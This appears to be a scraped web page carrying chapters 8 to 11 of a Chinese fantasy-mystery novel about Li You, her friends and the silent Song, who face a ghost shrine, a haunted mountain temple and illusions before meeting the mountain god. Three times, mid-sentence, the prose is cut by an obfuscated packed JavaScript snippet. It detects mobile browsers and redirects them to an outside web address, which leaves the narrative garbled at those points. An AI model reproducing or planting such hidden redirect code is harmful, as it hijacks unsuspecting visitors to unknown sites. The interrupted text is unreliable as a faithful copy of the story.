老鸣为了省钱,院墙和邻居家是共用一堵的,所以翻过来就是邻居家了。 庄正拍掉身上的灰,松了一口气道:“哎呦我,吓死我了。话说我还从来没有这么帅气过,居然连你也一起救了。怎样?你没摔着吧?” 黎宥翻了个白眼:“你不救我我也能打死他们。” 庄正拍拍胸口:“那显然还是我这招更厉害,都用不着死人。话说你们邻居家咋这么脏?光是灰尘都厚得能种花了。” 黎宥也注意到了,这后院杂草丛生,脏乱得不像话。说起这邻居来,她想起,在这屋子旁边住了这么久,好像压根没见过所谓邻居,就连窗户也不曾见到打开过,这么说,这间屋子应该是没人住的,却也没人买了去,就放在这儿积灰,真是奇了。 在墙沿下歇到隔墙的火被灭,听着也没别人的声音了,俩人才起身回去。 可是抬头看才注意到,这边的围墙似乎很高——准确来说是邻居的屋子地面是陷下去的,才显得围墙高了。 墙上爬满了爬山虎和青苔,徒用手脚难以爬上。庄正去拉进屋的门,大概是木头朽了的缘故,那门尖叫着被打开了。 不一会儿,屋里传来庄正的声音:“黎宥!这屋子不对劲!” 黎宥闻声进了屋。长年的封闭,屋子漆黑无光,还有浓得刺鼻的霉锈味,庄正说像进了泡了一百年的酸菜缸。 寝房里,只有庄正点的火柴在闪着诡异的光。黎宥走到庄正跟前,顺着火光看去,竟是一整面墙都放满了神像。 8. 邻居 一整面墙是一个巨大的神龛,香根肆意插满香炉,刺得人眼球生痛,红中流着青黑的蜡泪从上面的底座滴到下面神像的头上,远看像是没有脸。 纵是再冷静,黎宥还是忍不住捂起了嘴。没想到一墙之隔竟然别有一番天地,怪不得没见过这间屋子住人。 庄正拧眉:“你看,这些蜡是一层一层堆砌起来的,说明这间屋子有人来过,并且给这些鬼神都添了蜡烛。而且……”他靠近打量那些污秽,“这蜡层的最上面一层,看起来还很新鲜。说明……” “说明最近有人来过。”黎宥答。 黎宥回想了一下家里点蜡烛时的情景,蜡滴下来后,若要到这种程度的颜色状态,大概需要好几周时间。然而这里的环境极差,蜡滴还没怎么变颜色,那么极有可能在一周内,这间屋子来过人。 黎宥平时基本不在意邻里之间的往来状况,所以对谁有嫌疑来过这间屋子毫无头绪。 二人不语,屋子里死一般寂静。 出了寝室,就是堂屋。 庄正道:“用完剩下这三根火柴,咱们就算是砸墙也要走了。这里太诡异了,久留不保有什么事发生。” 黎宥点头,示意他点火柴。 火柴在幽暗中燃起的一瞬间,一个鬼影出现在他们面前。 “什么人?!”庄正惊呼。 下一瞬,那鬼影却消失不见了。慌乱之中,黎宥踩碎了一个东西,低头一看,竟是一个头骨,应该是某种动物的,上面缠着褐色的细线,细线上挂满了鬼钱。 “这里不用来拜神的,是祭鬼的。”黎宥道。 随即她接过庄正手里的火柴,从寝室里掰了根没烧尽的蜡烛,将它点上,往周围照去。 忍着嗅觉和视觉带来的双重压迫,她咬着牙观察四周:“刚才看到的,应该是火柴太亮了,把我们刚才看到的东西在眼里放大,又刚好对着这面墙上挂着的祭服,所以我们才以为是人。” 庄正紧张地吞口水,道:“这种巧合,来得真不是时候。” 一面墙上挂着一件破旧的黑衣,想来应该是来这的人进行某种祭祀仪式时用的。地上也堆满了各种各样的祭祀用品,大多是一些动物的骨头制成的法器,还有刻着不明图案的石头、布幡不等。 庄正忽然一指周围,怪道:“那这些符纸是怎么回事?我没记错的话,这些都是用来驱魔驱鬼的吧?” 黎宥摇头,对这方面的东西她知道的不多,若真如庄正所说,那就无解了。 屋子的正门不知为何无法打开,窗户也焊得很死。两人都默契地回到后院,大口地呼吸新鲜空气。 “怎么办?”庄正双目无光地望着围墙上的天空。 “先缓缓。”黎宥也失去了思考能力。 从没见过这样的东西,可就算是祭祀拜神,也不是这样的。到底是出于什么目的,才会需要专门一间屋子来供奉这些鬼怪。 这一下午不比山上的几天累。后来他们是把一边的烂泥挖到另一边堆高,又抠掉墙上的青苔,才勉强狼狈而逃。 这跟掉进那个叫嵩的人的陷阱时倒是有异曲同工之妙。 老鸣不在家里,街坊说他去汇庆坊蹭吃去了。 黎宥道:“你觉不觉得老鸣他这两天有点奇怪?都不贫了,这不像他啊。而且我们翻到领居家,他不来找我们反而自个儿去喝茶去了。 庄正嗤了一声:“察觉到我们把他骗了吧,这小老头可精了。话说我们什么时候再上山?” 一提上山黎宥就应激,她用笑掩饰道:“你们一个两个比我还上心。日历我看了,一个月后的十月十二,壬水涵木,寅为山林之象,合上山。我自己去就好了,不会有事的。” 庄正不满最后一句:“说啥呢,我说真的每次你一这么说我就觉得你有事瞒我。管你有没有事,反正我们也去,帮不上忙也当饭后消遣了。” 黎宥料到他会这么说。他这人是讲不来道理的,狗皮膏药一样粘着你。 她没反对,虽然这样很冒险也很不负责任。 十二前一日,老鸣忽然叫住了在偷摸往兜里塞火折子的黎宥。 “幺儿,身子骨还闹腾不?”他佝着身蹲在门槛上。 黎宥一愣,笑道:“您当我纸糊的么?早就好了,那点小病,出点儿汗就没了。” 他提起烟杆深深抽了一口,一直没有看黎宥的眼睛。 老头子突然不说话了,眯着眼数檐角滴溜转的麻雀。直到第五只麻雀扑棱棱飞走,才从牙缝里挤出句话:"明日随我砍柴去。"这话说得跟扔秤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420088|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砣似的,砸得黎宥心头咯噔一声。 黎宥心一颤,心道麻烦了,明天,她是要上山,但可不是去砍柴啊。 她敷衍:“又去砍柴,先把家里那点儿用完吧。” “你还知道家里只有那点儿,家里那点儿都让你们烧光了!整个院子烧得比城隍庙香炉还旺,也不见有人来收拾!”老鸣好气又好笑。 黎宥讪讪地笑,无奈之下,只好答应他:“行行行,明天给你砍一山的柴!” 是夜,星子稠集。黎宥强迫自己闭眼休息,心里却总忍不住盘算着明天。 好容易熬到了天亮,黎宥觉得脑袋里像插了一百把柴刀。 拖着咯吱响的身子跟老鸣上了山,她见柴就砍,带着郁闷和发泄。 “噼里啪啦闹得耳朵疼。自己砍多少背多少!臭小子。”老鸣囔囔,“当心阎王爷找你讨棺材板!” 黎宥没说话,继续闷头地劈着,劈树干,劈地面——只见日斜三寸之时,她募地一转身子,留下一句: “我去深处找楠木!”话音未散,人已朝深山钻去。 平常都是她到深处去砍柴的,所以她记每条岔路比绣娘记绣样还准——哪条路通向凌云山,她最熟悉不过。方才砍下的树枝木棍,她全都往后堆,正是为了遮挡住她逃跑的去路。 山风卷着碎金掠过耳际,忽见山中青衫翻飞如鹤。黎宥一路狂奔,阳光在她肩上如吹雪般跳跃。 今早出门时她已将告知庄正她计策的纸条卡于门缝之中,能否在凌云山上见到他们,便要看缘分了。 奔忙了约为三刻钟,黎宥喘着粗气放慢了步伐,因为她看见,不远处站着个熟悉的身影。 意识到是谁,先前发生的事压迫般袭来,她不禁紧张,本想装作看不见猫腰绕过去,却不承想那人竟自己走了过来。 “冤家路窄。”她小声嘀咕。 黎宥干脆站着不动,看他要作什么妖。 谁料,随着嵩走近,眼前却忽然荡起了涟漪,绿的树腐烂的泥地在脑海里揉成一团,这时已顾不上嵩走到何处,她迅速反应过来欲抬手借扶一旁的树干,却发现浑身动弹不得,随后便失控般地向后倒去。 仰面倒下时,最后瞧见的是嵩的一袭新衣,罗袖翻动,衣摆绣着几株矮松。 9. 别有洞天 黎宥是被檀香熏醒的。 黎宥是被檀香熏醒的。 眼皮尚未掀开,她先听见了周围的窸窣声。说是窸窣,其实是人在轻声交谈的声音。 努力眨去了眼前的朦胧,黎宥发现自己躺在一个供桌底下,身旁窗外,则是一片琼楼玉宇。 这是何地?黎宥心道。 忽然“咚”的一声闷响从不远处传来,她这才回过神朝旁边望去。透过桌脚,她看到,青砖之上,嵩竟正对着一座巨大的神像磕头。 神像!莫非这是山神殿了? 那神像威武高大,全身应是用金镀成,通透庄严,金碧辉煌地端坐于高堂之上。再往神像头顶上看,只见阳光聚焦在楠木牌匾上,醒目地刻着青平神尊四字。 看来这就是她黎宥日思夜想要找来的地方了。 太好了,虽然路上遇到了些小坎坷,但终于还是见到了山神。 也没想为什么自己躺在供桌底下,正想着钻出去跟嵩一起拜神了,却突然听见嵩的声音。 “……信众嵩,愿奉精魄为祭。”沙哑的声线惊得黎宥一哆嗦。透过供桌垂落的黄幡,她看见蒲团上的男子念念有词。 此时山神像的脸隐在阴影下,看着好不习惯。思量之间,眼里忽然有什么东西动了一动,黎宥警觉地盯着神像,过不了一会儿,就见那青金石雕的眼珠子突然"咔哒"转了小半圈。 黎宥瞬间清醒。 她看见神像身后窜出来几条藤蔓,朝嵩的两侧伸去。那些暗绿色的须子似活物一般扭动着,枝条上还附着着尖刺,其从出现到缠上嵩的脖子,只用了不过两秒。 “呆子还拜呢!”变故之快,黎宥顾不上敬畏,嗖地从桌子底下翻身出来,信手抄起供台上的烛灯扔向一株藤蔓。眼见那藤蔓惊缩了一下,她三两步跨到嵩的身旁,抓起他的腰带就扯着往外跑,边跑边解释:“神像后面藏了些不干净的东西!你就是再急着要拜,也不能把命都送了啊!” 嵩被从蒲团上扯下来,跑得东倒西歪,衣角扫过地面时,露出神龛座下一块青黑色的木牌,木牌上赫然写着一个“嵩”字。 黎宥扭头狂抡双腿,这种地方,怎么会出现这种东西啊! 神殿宽大,一眼望去竟不知哪里是大门。听见那藤蔓还在后边呲溜呲溜不依不挠地追着,他们东躲西藏西躲,撞翻了不少东西。唯一看起来有路的地方是前方一片茂密的竹林,权宜之下,黎宥拉着嵩直接钻了进去。 谁料前脚刚踢开竹竿子,后脚就看不见竹子了——那竹林哪里说得上茂密啊,甚至不能说是“林”!穿过那一排竹子,竟是一片空地。 一出来,眼前的景色直接翻了一番。阴冷腥臭的空气和殿内的清新雅致形成鲜明的对比。 黎宥倒吸一口凉气:“怎么会这样?” “松手。”身后传来阴沉沉的声音,黎宥才反应过来手里还拽着个人,她忙缩回手,连连道歉。 嵩也不说话,只是用冷冰冰的双眼盯着她。 黎宥冷静下来,对上他双眼镇定道:“你放心,我会把你带出去的。不过你看起来……是山神的信徒?你先前来拜神,也有这么一个地方吗?” 他却反问:“为什么把我拉走?” 黎宥好笑,心道这人什么脑回路啊:“看在你把我带进了山神殿,帮了我个大忙,我见你有危险,救你一把算是报恩了。” “报恩?”他一脸不屑地哼声,眼中是发自内心的不解。 不等黎宥再问什么,身后传来一阵神秘诡谲的铜铃声,显然是从方才出来的竹子后面的神殿传出来的。 黎宥回头一股脑儿钻进竹子里,却发现竹子后哪还有什么神殿,不过是一片竹林围起来的一片空地罢了,风都不曾有一丝。 “怎会如此?神殿何……”疑惑卡在喉咙,脚下泥地突然塌陷,碎石渣土铺天盖地地砸在黎宥脸上,她抬手抵挡不及,下一瞬就被倒挂在一棵老树上。 “咳咳!”灰尘呛的她胸腔如翻江倒海般难受,所幸没有直挺挺地砸在地上,虽说挂在树上的确是狼狈了些。 正欲腾空翻身而下,却瞥见一个大黑影从“天”而降。嵩稳稳落在坑底,而后毫不犹豫地向挂着黎宥的树枝隔空劈了一掌。树枝“咯”的一声断裂,黎宥接住了动作,也稳稳地站住脚跟。 黎宥随便拍去了身上尘土,道谢的话尚未出口,眼前之物便让她浑身竖起了汗毛——这颗长在坑底的破树,竟是第一次上山时路上见到的那棵。 她不可置信地边摇头,边往后退。 她很确定这绝对是那棵矮松。由于那时没来得及仔细观察,所以她在枝干上划了两道痕作标记,而现在,那两道痕就显赫地张扬在她眼前。 嵩一言不发,走到矮松跟前,用他的那把兽齿刃往枝干上一扎,紫红色的汁液缓缓从刀尖流出,散发着一股奇怪的味道。 黎宥诧异地走上前查看,却被嵩喝了一声:“退后!” 嵩猛地将刀一拔,兽齿刃带着一溜深色的汁液喷溅而出,树皮以诡异的方式裂了一道口子,黝黑的裂缝中,忽然窜出来一团乳白色的生物。 此物生着人的五官,像是被嵩激怒了似的,眼球涨得比拳头还大,张着紫红的小嘴发出婴儿般的嘶叫声。 “这……这是什么?!”黎宥别过头捂住双耳,十分嫌恶地质问道。 “树童,它为了修成人形,吸干了这棵树的养分。”嵩答道。 此言一出,黎宥骤然记起,这树里流出来的汁液味儿,和她坠崖时在人面怪石下闻到的泥泞味儿如出一辙。 “怎么会有这种东西……”黎宥一想到先前为了研究这棵矮松凑得特别近就浑身发毛。 嵩却像是对这种怪物习以为常,淡淡地道:“别怕,你看。”他一指裂缝,原先树童现身的地方已经空无一物,只留下个黑漆漆的大豁口。 矮松被刚才的树童扭折了腰,树冠已经死气沉沉地倒在一旁。 黎宥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420089|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚未回过神来好好讨究这棵怪树,就见嵩已经爬上了去,好像对这洞有所兴趣。 黎宥又是一诧,问道:“你要干什么?” 嵩头也不抬,道:“进去看看。” “进去?你要进这个洞里?为何?你若是想看看这树里有什么,直接把它劈开就是了,何故亲自进去。”黎宥费解地盯着他。 然而他却不说话了,自顾自地将硕大的身子骨塞进枯败的枝干里,半晌,他退出来,手里拎起来血淋淋一个人。 “……庄正!”黎宥倒吸一口凉气,瞪大了双眼。 庄正被嵩从树洞里提溜出来,身上粘满了各种各样的脏物,当然,那些紫红色的汁液也糊得满身都是,发丝凌乱似恶鬼。 黎宥忍着腥臭凑到他前面。嵩道:“没死。” 她扶额,此地诡事频发,首先是那追着人杀的藤蔓,现在又是从树里挖出来庄正。只是庄正去了何处,才会出现在这棵矮松里头?眼下,只得先等庄正醒来后问问他了。 嵩捏住他的掌心指骨,巧力一摁,庄正便呻吟着醒了过来。 黎宥扶着他起身,焦急地问道:“庄正,可还有不适之处?容我心急,你这是从哪来的?金悠呢?” 庄正呸呸胡乱吐着口中的脏污,一脸茫然地目视前方,道:“说……说来话长,你还记得第一次上山时我们遇见的那个老头儿吗?” “老头儿?他把你扔到这儿来了?” “他说的义仓,我们找到了……我看那有个水缸,里头有条大鱼,想着捞起来烤着吃,没想到那水缸竟然是个陷阱……反正我就是不小心掉进水缸,差点就被淹死了,还好被你救了。” 黎宥听了差点想拍手叫好,嗤道:“听着像编的。”又抬手指了指一旁观望的嵩,“是他把你捞上来的,而且这里没什么水缸,你是从这棵树里出来的。” 庄正这会儿才发现那个野人也在,瞬间全身炸了毛,半天憋不出一句话来。 他顺着黎宥所指,撇嘴道:“这不是那棵破烂矮松么。怎么在这儿?” 黎宥撑着腿起身,小心翼翼地把头凑到树洞里,只是无论从任何角度看,都看不出来这树洞有暗道。这时,嵩那边传来一阵异响。 二人齐齐转头,只见某处塌壁上黄土簌簌落下,竟露出了一面青石砖墙。 黎宥凝眉,挪着步子过去,正欲用手抚摸那青砖,墙面却突然碎裂成了齑粉,消散在空中。她立马挥手掩鼻后退,待那灰尘散尽,竟在墙后出现了一道门。 门虽是金属材质,却雕着繁复的镂空花纹,与周围的满目疮痍格格不入,仿佛一下穿越到了什么遗世贵族门前。 众人面面相觑,门后一片幽暗,阴森可怖。若非没办法爬上塌陷上方,大概谁也不情愿去淌这鬼门关。 为了能少牵连别人,只好先探探了,走一步是一步,说不定能发现些什么。想到这里,黎宥率先上前一步,抬起门把上的雕花铜锁。 10. 混乱不堪 雕花铜门吱呀作响,锈花落了一地。黎宥猫腰探身进去,闻到里面的空气有一股清新的味道,似乎还有清风拂过,绝不像古墓之类的。此处究竟为何地,真是奇也怪哉。 火折子能照到的范围虽小,却也能把近身的事物看清。黎宥清楚这一点,故而一进来就四处挥舞着手臂,想借着火光看清前方的路。可是她很快发现她什么都看不见——她抻着手去摸索,摸不着墙壁;去照地面,亦是一片朦胧。她诧异地瞪大双眼,不可置信地灭了火折子又吹燃,发现仍是如此。 “这……”她重新小心翼翼站起身,脚是擦着地面挪着走的。脚也已经浸在一片灰蒙中了,黎宥开始意识到,这门后面的地方,大概是灰尘很重。 抠抠搜搜走了不知多久,黎宥回头一看,才发现已经完全望不到原来进来的地方了。处在一片寂静的黑暗之中,难免心慌,她深吸了一口气,正打算继续朝前走,却在回头的一瞬间,父王母后的脸飘过了眼前。 这一惊,紧绷的神经突然如弦般断裂,黎宥惊叫不及,反而脚下一滑,竟没想到一步前之处就是斜坡,她一个重心不稳就滚了下去。 浑身散发着削骨般的疼痛,斜坡像是没有尽头似的延伸,黎宥找不到任何一个支撑点止住滚落,然而就在千钧一发之际,她的脚踝被一股蛮力握住了。 停住的一瞬间,黎宥听见自己的心跳在黑暗中犹如擂鼓,现在又是“倒挂”在斜坡上,她只觉一阵恶心,要把所有内脏都吐出来。 头晕目眩中,她听到一个沉稳而有力的声音:“起来。” 随后脚踝又一紧,整个人像提扫帚般被人拖起来。 摇晃着在斜坡上稳住阵脚,火折子照亮了眼前之人。 黎宥心虚:“嵩,是你啊。” 嵩冷冷道:“都说了,你没来过这里,何必硬闯。” 黎宥深深地喘息着,抬手将火折子怼到嵩的脸前,火光无情照着他的眼睛,他居然眯也不眯一下。黎宥看着这张欠欠的臭脸一下子就泄了气,她收回目光,悻悻道:“那你说吧,接下来该怎么走?” “往回走。” “往回走?”黎宥好不容易滚到这里的,现在难道要重蹈覆辙吗,“这里到底是什么地方,你全都看过了吗?” “这里……”他顿了顿,指向下面。 黎宥顺着他所指往下看,这一看差点没让她又摔一跤——越过斜坡,她先看到了倒着燃烧的火焰,火光照亮了下面的空间,斜坡螺旋状弯曲向下延伸,最底下是一个漏斗状的结构。 嵩手指绕着螺旋斜坡走,解释道:“这是一个倒过来的塔楼,现在你的脚下是楼梯,底下是塔顶,刚才进来的地方,是塔楼的大门。” 黎宥算是明白了这里的结构,怪不得进来走了这么久都没看见墙壁,看来走的应是二楼的地底。 不过话说这人走的真快啊,也不见他点火折子,居然这么快就能把塔楼的烛灯全都点着了,还没在走斜坡的时候摔死。 “你……认识这里?”黎宥边走边问。 “不。”回答得很快。 “那……真厉害。” ……没说话。 有了塔壁上的光,路也变得好走多了。走出了斜坡,那些“灰尘”又聚起来裹住了脚踝,像一层浓雾一样怎么甩也甩不开。 走在后头的嵩突然从自己的衣服上撕下一块布,蒙住了自己的脸。 许久终于看到了出口的亮光,黎宥松了一口气,大步向前走去。孰料门外竟又是一个陌生的地方,没有了矮松,庄正也不在了,取而代之的是一片谷底。 黎宥“诶”了一声,却在呼吸的瞬间闻到了一股令人作呕的气味儿。然而这味道却是她黎宥熟悉无比的——这里是第一次上山时摔下来的谷底?! 疑问萦绕心头之际,她猛抬头一看,果然见到了岩壁上的人脸状怪石。怪石的眼睛望着洞口,黎宥从洞口出来,和它们来了个深情对视。 “……” 原来嵩把布蒙在脸上不是耍帅啊,他是怎么知道外面会很臭的? 二人先后从洞里出来,说是“洞”,其实出来后才发现也有一扇门,不过并不是雕花铜门,倒像是邻居家的门。 进塔楼时外边儿的天还是苍白的,现在却是阴沉沉的了。黎宥本想说这个地方她还真来过,可是话在喉头却生生卡住了。想到嵩好歹是山里的野人,说不定他不仅来过,还跟那些石头上的人脸聊过天呢…… 不一会儿,天上竟飘起了毛毛雨。黎宥走在悬崖底下,心里发闷,一路上用鞋尖碾碎地上的泥块——从醒来到现在,她所经历简直像是在做梦一般。 悬崖壁陡且高,峡谷也一路向前延伸,看不到头,故而要爬上去找路是无望了。 正张望着,靴边石罅处忽然冒出来一支新芽。芽尖翠绿,在这昏暗的树林里极为引人注目。黎宥看见这丝嫩绿,不禁停下来欣赏它。她单膝跪在小芽跟前,指尖捧起那片被雨水洒湿的毛绒绒的叶子,会心地笑。 孰料那小苗突然无风自动,扭起了身子,浑身开始抽动,变粗,变深褐色,变成了一根和神像后出来的一模一样的藤蔓“嗖”地划穿石隙击向黎宥。 黎宥迅速将身子一侧躲过了直直伸来的藤蔓,反手抽出腰刀将那恶藤劈断。刀鞘抖动间,悬崖壁竟刹那间“嗖嗖”冒出了数十根藤蔓,无一例外地向他们两人袭来。 黎宥讶异不及,挥舞刀尖手起刀落,把那些扭动地东西割得吱哇乱叫。可还没完,更多的藤蔓互相交错、四面八方向她涌去。她盯着那些可恶的东西,怒气快要从眼睛里冲出来。 抽空看了眼嵩,却发现他休闲地坐在不远处看天。 黎宥整个人炸了开来,忍不住对那些藤蔓指着嵩骂:“你们怎么不打他啊!刚在殿里不是要绞死他吗?你们杀啊!杀啊!他就坐在那!” 余光里嵩身形不曾移动,无论如何那些藤蔓都追着黎宥不放,愣是像嵩不存在似的。 黎宥被藤蔓逼得力气开始吃不消,连连退到嵩坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420090|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的地方。这时嵩才站起身来,却并不拔刀,徒手三两下就把数十藤蔓劈得粉身碎骨。 四周片刻便归于寂静,黎宥看着满地狼藉,很是无奈。她恨不得把这人掐死,然而事实却只能咬着牙忍着不发脾气,质问眼前冷漠之人:“为什么?非要看着我狼狈不堪地趴下你才肯施舍一点点良心是吗?” “这样,我能省点力气。”嵩道。 好像无论什么冷言冷语打在他身上都显得不痛不痒,黎宥一拳揍在他面门上,接着一腿劈向脑袋。嵩飘飘然躲过,手臂绕住黎宥踢来的腿,顺着力道往旁边一拐,轻而易举地把黎宥撂倒在地。黎宥用手格挡冲来的拳头,却被另一只手钳住了脖颈。 “有本事……咳!”黎宥的话被重重掐断,而后力道就松开了。 “你太冲动了。”嵩无情地看着她。 黎宥站起身来,她最不服输,对着嵩高声道:“有本事好好打一架。” “我不打女人。”这句话直接让黎宥愕然失色,她恍惚地看着嵩,一时竟语塞。 不管是什么时候暴露的,现在解释什么都显得多余了。 雨不知不觉中一开始下大,“哗哗”的声音充斥着心脏每一个角落。这场及时雨倒是让黎宥稍稍冷静了下来,她提议说回到刚才出来的地方躲雨吧。 顺着崖壁跑回去,一片灰白的雨雾里突然又伸出来一根东西。 黎宥眼疾手快,对着根部就一刀挥了下去,紧接着一声惨叫突破天际——“啊啊啊啊——”崖壁里伸出只血手,黎宥往后退了一步,定睛一看,发现这哪是什么藤蔓,这是庄正的手! 庄正大半个身子嵌在山石里,被黎宥砍了一刀后就耷拉着不动了,像被琥珀封了一半的史前巨虫。 雨下得太大,以至于黎宥甚至没有发现金悠也蹲在庄正旁边,只是他没被卡住。 黎宥生怕自己方才的一刀把庄正砍死了,忙过去帮金悠一起把他从石头里扒拉出来。 庄正疼得呲牙咧嘴,嘴里却不忘念叨:“黎兄……我本来不是那种计较钱财的小人……可是这回回去,你真得给我赔点儿啊……” 黎宥刚要猛地一拉,整座山突然开始抽搐起来。 “不好!”黎宥大喊。 看这阵仗不会这山要塌了吧?要是整座山摊下来,是要给他们活埋啊。 千钧一发之际,嵩抽出他的刀往石隙一捅,裹着庄正的石头簌簌滚落,庄正翻了个滑稽的跟头掉在地上。 庄正喘着粗气,金悠已经眼疾手快地掏出药粉给他包扎。所幸大雨已过去了,众人此刻皆成了落汤鸡。 他们深知往回走已不一定能回到原处了,索性一直往前走,不到两刻钟,众人遇到了一片湖。 湖水黑得像是泼了墨,可却偏偏能照出人影。黎宥捡了一片大叶子蹲在岸边舀水,水面却突然浮出老鸣的脸。 不是如今沟壑纵横的样貌,而是二十出头、意气风发的壮年模样。他怀里抱着个襁褓,婴儿额心有颗朱砂痣。 11. 幻象 黎宥不明所以,但是待她再仔细看时,湖中的年轻男子已经消失了,取而代之的是她自己的脸。接着,又出现了庄正、金悠的脸,他们的脸先后变得鲜血淋漓、血肉模糊,用怨恶的眼神看着黎宥。 黎宥的眼泪滴了下来,这些时日下来压抑在她心中的苦闷如大雨一般骤然泄下。这因她而起的一切把她的朋友连累得遍体鳞伤,她紧闭双眼不去看那湖中倒影。可怎奈心中的愧疚已然发芽,她低着头支撑起身,转身对众人说:“诸位,今日所历,是黎某的错,我对不起你们,当时就不应该……” “说什么呢?”庄正立马插嘴,“你哪连累我们了?再说了我们受伤,也是自己不小心。是吧金悠。”说着用胳膊肘捅了捅金悠打瞌睡的脑袋。 “可此处危险重重,且现在我尚未找到回去的路。”黎宥焦虑地蹙着眉,“而且这个湖边想来也不是什么好地方,你们看。” 金悠揉着惺忪睡眼走来,极小心地把头凑到水边,只虚虚瞄了一眼就吓得跌坐在地。他“哇”了一声,用力咽了口唾沫道:“吓……吓我一跳!黎兄,你怎么不提前说一声!” 庄正懒得起来,坐在地上大喊:“金悠,你看到啥了?这么胆小呢这就被吓到了?” 金悠手握成拳抵着下巴,道:“嗯……水月镜像,多为执念所化。我看到了我的姐姐,她穿着嫁衣。” 金悠并非淮池人,他从山外边的一个村子里来。他的经历颇有意思,他是不忍姐姐出嫁后难以再回家痛苦而泣,便悄悄替她坐上了轿子,结果来到淮池被轿夫发现了追着打,庄正来了个英雄救“美”,他就认庄正当哥哥,在淮池留了下来。 “执念所化……执念?”黎宥想起刚刚看到的除了一片血肉模糊的庄正金悠外,还看到了年轻的老鸣,可是老鸣为什么会是她的执念呢? 她再凑到湖面去看,却见湖中倒影已不见踪迹。湖对岸,一盏明灯摇曳着飘了过来。 黎宥微眨双眼,只见对岸站着一位肃雅清秀之人。 来者青衿翻腾,脚下有云雾缭绕,玉冠羽衣间是一双柔和而悠远的眼睛。 这双眼睛是充满神性的,同时也是黎宥熟悉的。眼前之人和那座神像的模样全然一致,竟不承想当山神真正站在眼前时,更多了一份神圣与慈悲。 他如此端庄,却在此时露出一副愧疚和担忧的神情,他将身心俱疲的黎宥从湖边扶起来——一旁捂着伤口嗷嗷乱叫的庄正和安抚他的金悠连忙跪下揖拜,唯独嵩没有,他靠在一块岩石之后,默默地看着这边。 山神所到之处,周围的环境竟然开始扭曲了起来——不,准确来说,周围的环境被净化了。 诡谲多变的,如梦境般的地方,不论是藤蔓、塔楼、还是矮松、怪石,皆尽数消失了,四周以一片淡雅、宁静的树林代替。不仅如此,就连他们身上大大小小的伤口都愈合恢复了,整个人仿佛被由内而外地净化了一番。 一身倦骨几消弭,万仞珠落血成殷。痂梦穷几何?照彻寒襟终见君。 神明轻轻开口说道:“孩儿,吾知你忧国之心急切。吾待客不周,方才你们所历,皆是幻象,是那山鬼妖孽所为。”他眼睫微颤,对上黎宥双眼,“故而你不必自责,你的朋友们没有因你而伤” 黎宥的脸热热的,她没想到这世界上真的有神。 她磕磕绊绊地向山神的救助道谢。然而话未说完,就觉脖颈一片凉风袭过,谁竟敢在山神面前偷袭?! “哐”的一声在耳边响起,山神玄色衣袍一颤,袭击者被掀翻在地。黎宥惊愕地扭头去看,发现倒地之人竟然是嵩。 嵩被掀倒,却仍是一副嫉恶如仇的嘴脸恶狠狠地瞪着山神。 黎宥不明白他又在做什么,但无论他想干什么,都绝不可以在神明面前如此无理取闹。她真心后悔当初就不该救他,原来他那时不是在拜神么,活该让他被藤蔓绞死才对。 见他欲奋起进攻,黎宥主动挡在山神面前,怒斥他道:“够了!不可对神明无礼!” 山神用手搭上她的肩膀,道:“孩子,不必挡在吾身前,吾不会受伤。有人对吾有仇恨之心,是正常的。吾没有好好保护淮池的子民们,吾有过错。” “不。”黎宥躬身,“山神大人不必自责,若是山神有需,我愿出一份力。”说完抬头,双眼闪着坚定的目光。 看到山神欣慰地点头,庄正也笑了,他说:“算我一个!为神明效劳乃命中所幸。” 金悠亦附和之。唯独嵩,他独自走向了深山,快要不见踪影。 山神踏着云雾而来,又踏着云雾归去了。黎宥其实还想和他再议自己所历之事,不过此番一见,倒是坚定了她对山神的信任,她想,既然如此,就静观其变吧,也许相对于她的这些事而言,山神还有更重要的事情要处理。 而她要做的,是尽可能帮山神多旺香火,还有,将忤逆神明之人,斩杀殆尽。 在幻象中不知时日,只知离开时已近黄昏。三人拖着疲惫的身子下山,平日里看惯了的房屋村落如今竟倍感亲切。 黎宥不敢回家,她有种不详的预感,老鸣会拿着大柴刀站在门口,只要她一出现,就把她大卸八块。 那就去汇庆坊躲着吧,到时候再和老鸣来个“巧了您老也来这儿蹭酒喝”罢。 说曹操曹操到。汇庆坊大门一进,就见个熟悉的背影佝偻在酒桌前,喝得那叫一个欢天喜地。黎宥寒毛竖起,要逃?逃也逃不过庄正的大嘴巴呐,瞧这傻小子一见老鸣就叫得比酒楼戏子还高声,这下是不愁人不知道他庄大少爷回家来了。 老鸣被这一喊吓得把酒喷到七八里外,庄老板庄大牛也闻声而出,一见他那宝贝儿子就丢下所有包袱顾着慰问他去了。 